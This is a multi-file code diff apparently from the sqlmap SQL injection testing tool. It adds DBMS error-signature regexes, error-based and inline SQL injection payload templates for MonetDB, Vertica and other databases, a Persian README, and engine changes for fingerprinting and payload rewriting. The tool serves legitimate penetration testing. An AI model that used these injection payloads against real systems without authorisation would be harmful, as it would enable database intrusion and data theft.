<error regexp="com\.sybase\.jdbc"/>
</dbms>
<!-- Ingres -->
<dbms value="Ingres">
<error regexp="Warning.*?\Wingres_"/>
<error regexp="Ingres SQLSTATE"/>
@@ -152,21 +149,72 @@
<error regexp="com\.ingres\.gcf\.jdbc"/>
</dbms>
<!-- Frontbase -->
<dbms value="Frontbase">
<dbms value="FrontBase">
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
<error regexp="com\.frontbase\.jdbc"/>
<error regexp="Syntax error 1. Missing"/>
<error regexp="(Semantic|Syntax) error [1-4]\d{2}\."/>
</dbms>
<!-- HSQLDB -->
<dbms value="HSQLDB">
<error regexp="Unexpected end of command in statement \["/>
<error regexp="Unexpected token.*?in statement \["/>
<error regexp="org\.hsqldb\.jdbc"/>
</dbms>
<!-- H2 -->
<dbms value="H2">
<error regexp="org\.h2\.jdbc"/>
<error regexp="\[42000-192\]"/>
</dbms>
<dbms value="MonetDB">
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
<error regexp="\[MonetDB\]\[ODBC Driver"/>
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
</dbms>
<dbms value="Apache Derby">
<error regexp="Syntax error: Encountered"/>
<error regexp="org\.apache\.derby"/>
<error regexp="ERROR 42X01"/>
</dbms>
<dbms value="Vertica">
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
<error regexp="/vertica/Parser/scan"/>
<error regexp="com\.vertica\.jdbc"/>
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
<error regexp="com\.vertica\.dsi\.dataengine"/>
</dbms>
<dbms value="Mckoi">
<error regexp="com\.mckoi\.JDBCDriver"/>
<error regexp="com\.mckoi\.database\.jdbc"/>
<error regexp="&lt;REGEX_LITERAL&gt;"/>
</dbms>
<dbms value="Presto">
<error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/>
<error regexp="UNION query has different number of fields: \d+, \d+"/>
</dbms>
<dbms value="Altibase">
<error regexp="Altibase\.jdbc\.driver"/>
</dbms>
<dbms value="MimerSQL">
<error regexp="com\.mimer\.jdbc"/>
<error regexp="Syntax error,[^\n]+assumed to mean"/>
</dbms>
<dbms value="CrateDB">
<error regexp="io\.crate\.client\.jdbc"/>
</dbms>
<dbms value="Cache">
<error regexp="encountered after end of query"/>
<error regexp="A comparison operator is required here"/>
</dbms>
</root>
File diff suppressed because it is too large Load Diff
+76
View File
@@ -704,6 +704,82 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>MonetDB AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MonetDB</dbms>
</details>
</test>
<test>
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>3</risk>
<clause>1,9</clause>
<where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MonetDB</dbms>
</details>
</test>
<test>
<title>Vertica AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Vertica</dbms>
</details>
</test>
<test>
<title>Vertica OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>3</risk>
<clause>1,8,9</clause>
<where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Vertica</dbms>
</details>
</test>
<!--
TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time
+24 -11
View File
@@ -3,19 +3,31 @@
<root>
<!-- Inline queries tests -->
<test>
<title>MySQL inline queries</title>
<title>Generic inline queries</title>
<stype>3</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]'))</vector>
<request>
<payload>(SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
</test>
<test>
<title>MySQL inline queries</title>
<stype>3</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request>
<!-- These work as good as ELT(), but are longer
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload>
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
-->
<payload>(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
<payload>(SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -28,7 +40,7 @@
<test>
<title>PostgreSQL inline queries</title>
<stype>3</stype>
<level>1</level>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
@@ -47,13 +59,13 @@
<test>
<title>Microsoft SQL Server/Sybase inline queries</title>
<stype>3</stype>
<level>1</level>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,8</clause>
<where>3</where>
<vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
<payload>(SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -74,7 +86,8 @@
<where>3</where>
<vector>(SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL)</vector>
<request>
<payload>(SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL)</payload>
<!-- NOTE: Vertica works too without the TO_NUMBER() -->
<payload>(SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
@@ -93,7 +106,7 @@
<where>3</where>
<vector>SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'</vector>
<request>
<payload>SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]'</payload>
<payload>SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]'</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
+801 -51
View File
File diff suppressed because it is too large Load Diff
+5
View File
@@ -1,3 +1,8 @@
# Version 1.4 (2020-01-01)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4)
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1)
# Version 1.3 (2019-01-05)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
+84
View File
@@ -0,0 +1,84 @@
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
<div dir=rtl>
برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند.
عکس
----
<div dir=ltr>
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
<div dir=rtl>
برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید.
نصب
----
برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید.
طرز استفاده
----
برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید:
<div dir=ltr>
```
python sqlmap.py -h
```
<div dir=rtl>
برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید:
<div dir=ltr>
```
python sqlmap.py -hh
```
<div dir=rtl>
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
لینک‌ها
----
* خانه: http://sqlmap.org
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+2 -2
View File
@@ -132,13 +132,13 @@ To get a list of basic options and switches use:
::
python sqlmap.py -h
sqlmap -h
To get a list of all options and switches use:
::
python sqlmap.py -hh
sqlmap -hh
You can find a sample run `here <https://asciinema.org/a/46601>`__. To
get an overview of sqlmap capabilities, list of supported features and
+20 -1
View File
@@ -191,8 +191,27 @@ class ReqHandler(BaseHTTPRequestHandler):
length = int(self.headers.get("Content-length", 0))
if length:
data = self.rfile.read(length)
data = unquote_plus(data.decode(UNICODE_ENCODING))
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
self.data = data
elif self.headers.get("Transfer-encoding") == "chunked":
data, line = b"", b""
count = 0
while True:
line += self.rfile.read(1)
if line.endswith(b'\n'):
if count % 2 == 1:
current = line.rstrip(b"\r\n")
if not current:
break
else:
data += current
count += 1
line = b""
self.data = data.decode(UNICODE_ENCODING, "ignore")
self.do_REQUEST()
def log_message(self, format, *args):
+2
View File
@@ -54,6 +54,8 @@ def action():
conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
kb.fingerprinted = True
# Enumeration options
if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner())
+10 -5
View File
@@ -54,6 +54,7 @@ from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.dicts import HEURISTIC_NULL_EVAL
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HEURISTIC_TEST
@@ -97,6 +98,7 @@ from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.settings import URI_HTTP_HEADER
from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.comparison import comparison
from lib.request.inject import checkBooleanExpression
@@ -519,8 +521,6 @@ def checkSqlInjection(place, parameter, value):
except (MemoryError, OverflowError):
pass
kb.prevFalsePage = falsePage
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
@@ -882,12 +882,17 @@ def heuristicCheckDbms(injection):
for dbms in getPublicTypeMembers(DBMS, True):
randStr1, randStr2 = randomStr(), randomStr()
Backend.forceDbms(dbms)
if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
continue
if dbms in HEURISTIC_NULL_EVAL:
result = checkBooleanExpression("(SELECT %s%s) IS NULL" % (HEURISTIC_NULL_EVAL[dbms], FROM_DUMMY_TABLE.get(dbms, "")))
elif not ((randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1):
result = checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER))
else:
result = False
if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
if result:
if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms
break
+24 -11
View File
@@ -58,6 +58,7 @@ from lib.core.enums import NOTE
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException
@@ -307,11 +308,20 @@ def start():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
dataToStdout(warnMsg)
while not checkInternet():
dataToStdout('.')
time.sleep(5)
valid = False
for _ in xrange(conf.retries):
if checkInternet():
valid = True
break
else:
dataToStdout('.')
time.sleep(5)
dataToStdout("\n")
if not valid:
errMsg = "please check your Internet connection and rerun"
raise SqlmapConnectionException(errMsg)
else:
dataToStdout("\n")
conf.url = targetUrl
conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
@@ -403,14 +413,17 @@ def start():
parseTargetUrl()
else:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if not conf.scope:
message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper()
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
if choice == 'N':
dataToStdout(os.linesep)
continue
elif choice == 'Q':
break
else:
pass
infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg)
+77 -29
View File
@@ -11,47 +11,83 @@ from lib.core.data import kb
from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import CACHE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import DERBY_ALIASES
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import MCKOI_ALIASES
from lib.core.settings import MIMERSQL_ALIASES
from lib.core.settings import MONETDB_ALIASES
from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PRESTO_ALIASES
from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import VERTICA_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy
from plugins.dbms.mssqlserver import MSSQLServerMap
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mysql import MySQLMap
from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.oracle import OracleMap
from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.postgresql import PostgreSQLMap
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.sqlite import SQLiteMap
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.access import AccessMap
from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.firebird import FirebirdMap
from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.maxdb import MaxDBMap
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
from plugins.dbms.sybase import SybaseMap
from plugins.dbms.sybase.connector import Connector as SybaseConn
from plugins.dbms.db2 import DB2Map
from plugins.dbms.access import AccessMap
from plugins.dbms.altibase.connector import Connector as AltibaseConn
from plugins.dbms.altibase import AltibaseMap
from plugins.dbms.cache.connector import Connector as CacheConn
from plugins.dbms.cache import CacheMap
from plugins.dbms.cratedb.connector import Connector as CrateDBConn
from plugins.dbms.cratedb import CrateDBMap
from plugins.dbms.cubrid.connector import Connector as CubridConn
from plugins.dbms.cubrid import CubridMap
from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.h2 import H2Map
from plugins.dbms.db2 import DB2Map
from plugins.dbms.derby.connector import Connector as DerbyConn
from plugins.dbms.derby import DerbyMap
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
from plugins.dbms.extremedb import ExtremeDBMap
from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.firebird import FirebirdMap
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
from plugins.dbms.frontbase import FrontBaseMap
from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.informix import InformixMap
from plugins.dbms.h2 import H2Map
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.informix.connector import Connector as InformixConn
from plugins.dbms.informix import InformixMap
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
from plugins.dbms.maxdb import MaxDBMap
from plugins.dbms.mckoi.connector import Connector as MckoiConn
from plugins.dbms.mckoi import MckoiMap
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
from plugins.dbms.mimersql import MimerSQLMap
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
from plugins.dbms.monetdb import MonetDBMap
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mssqlserver import MSSQLServerMap
from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.postgresql import PostgreSQLMap
from plugins.dbms.presto.connector import Connector as PrestoConn
from plugins.dbms.presto import PrestoMap
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.sqlite import SQLiteMap
from plugins.dbms.sybase.connector import Connector as SybaseConn
from plugins.dbms.sybase import SybaseMap
from plugins.dbms.vertica.connector import Connector as VerticaConn
from plugins.dbms.vertica import VerticaMap
def setHandler():
"""
@@ -73,6 +109,18 @@ def setHandler():
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
+96 -17
View File
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve
from lib.core.common import isDBMSVersionAtLeast
from lib.core.common import isNumber
from lib.core.common import isTechniqueAvailable
@@ -34,6 +35,8 @@ from lib.core.data import queries
from lib.core.dicts import DUMP_DATA_PREPROCESS
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
from lib.core.enums import FORK
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import GENERIC_SQL_COMMENT
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER
@@ -106,6 +110,7 @@ class Agent(object):
paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue
@@ -169,7 +174,10 @@ class Agent(object):
newValue = self.cleanupPayload(newValue, origValue)
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
if base64Encoding:
_newValue = newValue
_origValue = origValue
# TODO: support for POST_HINT
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
@@ -184,11 +192,19 @@ class Agent(object):
else:
newValue = self.addPayloadDelimiters(newValue)
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, newValue)
if newValue:
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, newValue)
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
if base64Encoding:
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
if match:
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
else:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
else:
@@ -294,8 +310,9 @@ class Agent(object):
where = getTechniqueData().where if where is None else where
comment = getTechniqueData().comment if comment is None else comment
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
comment = queries[DBMS.ACCESS].comment.query
if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
comment = queries[Backend.getIdentifiedDbms()].comment.query
if comment is not None:
expression += comment
@@ -381,6 +398,11 @@ class Agent(object):
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, randomStr())
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
return payload
def getComment(self, request):
@@ -438,7 +460,7 @@ class Agent(object):
nulledCastedField = field
if field:
if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()]
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
@@ -446,7 +468,7 @@ class Agent(object):
else:
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
nulledCastedField = rootQuery.cast.query % field
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField
@@ -523,7 +545,7 @@ class Agent(object):
"""
prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
